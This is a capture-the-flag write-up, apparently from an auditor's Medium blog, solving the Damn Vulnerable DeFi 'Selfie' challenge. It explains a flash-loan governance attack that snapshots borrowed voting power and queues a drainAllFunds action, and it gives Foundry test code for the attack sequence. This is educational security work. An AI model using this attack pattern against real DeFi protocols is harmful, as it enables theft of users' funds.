Damn Vulnerable DeFi Challenge #6 Solution — Selfie

Challenge #6 — Selfie

The attacker end goal

We start with zero DVT token, and our end goal is to drain all the DVT funds present in the Lending Pool.

Study the contracts

DamnValuableTokenSnapshot.sol

  • SelfiePool allows flash loans of DVT token
  • SimpleGovernance uses the DVT token to check if a user has enough votes (user balance must be more than half of the total supply of DVT tokens in the previous snapshot) to queue an action
  • function snapshot() public returns (uint256) that allow anyway to take a snapshot of the current DVT governance token. It will return the ID of the snapshot taken.
  • function getBalanceAtLastSnapshot(address account) external view returns (uint256) a getter function that return the balance of the specified account at the last snapshot time
  • function getTotalSupplyAtLastSnapshot() external view returns (uint256) a getter function that returns the total supply of governance token at the last snapshot time
  • function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) this function will add a proposal to the queue. The proposal will be added only if the msg.sender(the proposer) has enough voting power (owns more than half of the total DVT supply on the last snapshot time) and if the receiver is not the Governance contract itself
  • function executeAction(uint256 actionId) external payable this function will execute a queued action. The action will be executed only if enough time has passed since the action’s proposal time (at least two days)
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);

emit FundsDrained(receiver, amount);
}
modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}

Solution code

Let’s recap everything. Our goal is to be able to call SelfiePool.drainAllFunds to be able to bribe all the funds.

  1. flash loan all the DVT available on the pool
  2. trigger a snapshot on the DamnValuableTokenSnapshot contract
  3. call queueAction on SimpleGovernance contract to create an action to call drainAllFunds on the pool
  4. Return the DVT we have borrowed from the pool
  5. Wait two days and call executeAction on the Governance contract
// (foundry) Sets all subsequent calls' msg.sender to be the input address
vm.startPrank(attacker);
// deploy the executor contract
Executor executor = new Executor(governance, pool);
// start the attacking sequence
executor.borrow(TOKENS_IN_POOL);
// (foundry) warp time to be able to execute the drain action
// the action can be executed only after two days since the proposal
utils.mineTime(governance.getActionDelay());
// call the governance contract and execute the action
governance.executeAction(executor.drainActionId());
// (foundry) Resets subsequent calls' msg.sender to be `address(this)`
vm.stopPrank();

Disclaimer

All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
StErMi

StErMi

#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden